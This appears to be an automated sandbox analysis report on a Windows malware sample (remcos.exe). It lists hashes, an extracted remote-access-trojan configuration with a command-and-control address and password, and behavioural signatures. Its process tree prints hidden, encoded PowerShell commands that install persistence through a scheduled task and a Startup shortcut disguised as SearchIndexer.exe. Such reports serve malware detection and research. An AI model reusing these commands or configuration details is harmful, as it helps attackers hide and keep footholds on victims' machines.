Analysis
- user interaction
yes - max time kernel
299s - max time network
301s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
09/07/2026, 17:03
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
remcos.exe
Resource
win11-20260513-en
windows11-21h2-x64
13 signatures
300 seconds
General
- Target remcos.exe
- Size 855KB
- Sample260709-vkxtjses2m
- SHA256 e87a74c914a6fda1b92490e7b3d281a37d6b055dd6bf0f1d66f64352c9c41294
- MD5 6a102e8ca530ad714fec3f73074df324
- SHA1 8c30514546d1e6f04d94b6ba14234c37dab32bdd
- SHA512 0aee8519697987b69e07881867012029c79bc9bd5e2d5459b4a3f81e547c673fdd996cf2515410cd374ddb6a40ac24aac02e48e39c423f0638c2b816be5925bb
- SSDEEP 24576:YP8i+y/4iKKKAUl4SMHuiKEKElaLsmiMgfIOutqtV616:YP8i+y/4PloOd+aYmsftVz
- TLSH T1C715122023FC8F7CC2AF477EE1A2085149B29186B35AEB4D5F48B8DD68637631553B27
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
lxbaserat
Version
-
1.0.16
Botnet
-
BindedPorsche
Campaign
-
b137c284779d42a5bad56117ae1dcd02
C2
-
45.149.145.19:4521
Attributes
-
directory
Logs
-
executable
client.exe
-
password
o3NqidWkz8UaTMeKnnvX
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3196 powershell.exe 1112 powershell.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchIndexer.lnk powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3092 SearchIndexer.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\SearchIndexer = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\SearchIndexer.exe\"" remcos.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchIndexer = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\SearchIndexer.exe\"" remcos.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3092 set thread context of 4028 3092 SearchIndexer.exe 87 PID 1312 set thread context of 3620 1312 remcos.exe 88 - Suspicious behavior: AddClipboardFormatListener 9 IoCs
pid Process 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1112 powershell.exe 1112 powershell.exe 3196 powershell.exe 4028 MSBuild.exe 4028 MSBuild.exe 3196 powershell.exe 3620 MSBuild.exe 3620 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe 4028 MSBuild.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4028 MSBuild.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1312 remcos.exe Token: SeDebugPrivilege 1112 powershell.exe Token: SeIncreaseQuotaPrivilege 1112 powershell.exe Token: SeSecurityPrivilege 1112 powershell.exe Token: SeTakeOwnershipPrivilege 1112 powershell.exe Token: SeLoadDriverPrivilege 1112 powershell.exe Token: SeSystemProfilePrivilege 1112 powershell.exe Token: SeSystemtimePrivilege 1112 powershell.exe Token: SeProfSingleProcessPrivilege 1112 powershell.exe Token: SeIncBasePriorityPrivilege 1112 powershell.exe Token: SeCreatePagefilePrivilege 1112 powershell.exe Token: SeBackupPrivilege 1112 powershell.exe Token: SeRestorePrivilege 1112 powershell.exe Token: SeShutdownPrivilege 1112 powershell.exe Token: SeDebugPrivilege 1112 powershell.exe Token: SeSystemEnvironmentPrivilege 1112 powershell.exe Token: SeRemoteShutdownPrivilege 1112 powershell.exe Token: SeUndockPrivilege 1112 powershell.exe Token: SeManageVolumePrivilege 1112 powershell.exe Token: 33 1112 powershell.exe Token: 34 1112 powershell.exe Token: 35 1112 powershell.exe Token: 36 1112 powershell.exe Token: SeIncreaseQuotaPrivilege 1112 powershell.exe Token: SeSecurityPrivilege 1112 powershell.exe Token: SeTakeOwnershipPrivilege 1112 powershell.exe Token: SeLoadDriverPrivilege 1112 powershell.exe Token: SeSystemProfilePrivilege 1112 powershell.exe Token: SeSystemtimePrivilege 1112 powershell.exe Token: SeProfSingleProcessPrivilege 1112 powershell.exe Token: SeIncBasePriorityPrivilege 1112 powershell.exe Token: SeCreatePagefilePrivilege 1112 powershell.exe Token: SeBackupPrivilege 1112 powershell.exe Token: SeRestorePrivilege 1112 powershell.exe Token: SeShutdownPrivilege 1112 powershell.exe Token: SeDebugPrivilege 1112 powershell.exe Token: SeSystemEnvironmentPrivilege 1112 powershell.exe Token: SeRemoteShutdownPrivilege 1112 powershell.exe Token: SeUndockPrivilege 1112 powershell.exe Token: SeManageVolumePrivilege 1112 powershell.exe Token: 33 1112 powershell.exe Token: 34 1112 powershell.exe Token: 35 1112 powershell.exe Token: 36 1112 powershell.exe Token: SeIncreaseQuotaPrivilege 1112 powershell.exe Token: SeSecurityPrivilege 1112 powershell.exe Token: SeTakeOwnershipPrivilege 1112 powershell.exe Token: SeLoadDriverPrivilege 1112 powershell.exe Token: SeSystemProfilePrivilege 1112 powershell.exe Token: SeSystemtimePrivilege 1112 powershell.exe Token: SeProfSingleProcessPrivilege 1112 powershell.exe Token: SeIncBasePriorityPrivilege 1112 powershell.exe Token: SeCreatePagefilePrivilege 1112 powershell.exe Token: SeBackupPrivilege 1112 powershell.exe Token: SeRestorePrivilege 1112 powershell.exe Token: SeShutdownPrivilege 1112 powershell.exe Token: SeDebugPrivilege 1112 powershell.exe Token: SeSystemEnvironmentPrivilege 1112 powershell.exe Token: SeRemoteShutdownPrivilege 1112 powershell.exe Token: SeUndockPrivilege 1112 powershell.exe Token: SeManageVolumePrivilege 1112 powershell.exe Token: 33 1112 powershell.exe Token: 34 1112 powershell.exe Token: 35 1112 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4028 MSBuild.exe 3620 MSBuild.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1312 wrote to memory of 1112 1312 remcos.exe 80 PID 1312 wrote to memory of 3196 1312 remcos.exe 85 PID 3092 wrote to memory of 4028 3092 SearchIndexer.exe 87 PID 3092 wrote to memory of 4028 3092 SearchIndexer.exe 87 PID 3092 wrote to memory of 4028 3092 SearchIndexer.exe 87 PID 3092 wrote to memory of 4028 3092 SearchIndexer.exe 87 PID 3092 wrote to memory of 4028 3092 SearchIndexer.exe 87 PID 1312 wrote to memory of 3620 1312 remcos.exe 88 PID 1312 wrote to memory of 3620 1312 remcos.exe 88 PID 1312 wrote to memory of 3620 1312 remcos.exe 88 PID 1312 wrote to memory of 3620 1312 remcos.exe 88 PID 1312 wrote to memory of 3620 1312 remcos.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\remcos.exe"C:\Users\Admin\AppData\Local\Temp\remcos.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAUwBlAGEAcgBjAGgASQBuAGQAZQB4AGUAcgAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBaAGUAcgBvACkAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAEkAbgBkAGUAeABlAHIAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAHQAbwBwAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABTAGUAYQByAGMAaABJAG4AZABlAHgAZQByAC4AbABuAGsAJwApADsAJABsAG4AawAuAFQAYQByAGcAZQB0AFAAYQB0AGgAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAEEAcABwAHMAXABTAGUAYQByAGMAaABJAG4AZABlAHgAZQByAC4AZQB4AGUAJwA7ACQAbABuAGsALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQA3ADsAJABsAG4AawAuAFMAYQB2AGUAKAApAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
PID:3196
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3620
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:4028
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\LX\installed.dat
- Size 23B
- SHA256 bee56ef3b74106828d647e7806463f8885880e1f1573a200370f980c90bbbd14
- MD5 22656aa5c61c13a3f0b8673a6eeec7c8
- SHA1 6f3e7be8d2b1909ca92c606f048b064d6e4fae98
- SHA512 8c32c4c79e792390ff49060f1d1aa6f4199fc2c7a154e96231b06afdc385fdf0df7dbc085d95a2d9923e8d993bed755cee37cd41ef11bb676cc2c975e41476ef
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
- MD5 9f3107a91c0a75eb75418f89fe7dcbcd
- SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
- SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
- TLSH T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 62a5e01b2d5b1045ecefe674bcbf439534a45f1f6165ca4091493c66119faecc
- MD5 d9b0febccd22c92a3a45858968b70816
- SHA1 f00a46a5967d57e3381c0a96a8ebd78eed166669
- SHA512 1bf48cf5f5ffae1144166bf0a823eddbdd645cc983656aee7e5e5fea7004e5bbcb96ccbc3fad7b7cb5cf63bf15da12033bc3a214f7e9d880719f714279d6165e
- TLSH T121216533B3ECC125C8D9117A208CAD10B2B5C3C7449E8F8B7A84C619957F9DADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhw0cnxn.q4l.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe
- Size 855KB
- SHA256 e87a74c914a6fda1b92490e7b3d281a37d6b055dd6bf0f1d66f64352c9c41294
- MD5 6a102e8ca530ad714fec3f73074df324
- SHA1 8c30514546d1e6f04d94b6ba14234c37dab32bdd
- SHA512 0aee8519697987b69e07881867012029c79bc9bd5e2d5459b4a3f81e547c673fdd996cf2515410cd374ddb6a40ac24aac02e48e39c423f0638c2b816be5925bb
- SSDEEP 24576:YP8i+y/4iKKKAUl4SMHuiKEKElaLsmiMgfIOutqtV616:YP8i+y/4PloOd+aYmsftVz
- TLSH T1C715122023FC8F7CC2AF477EE1A2085149B29186B35AEB4D5F48B8DD68637631553B27
- MD5 SHA1 SHA512 SSDEEP TLSH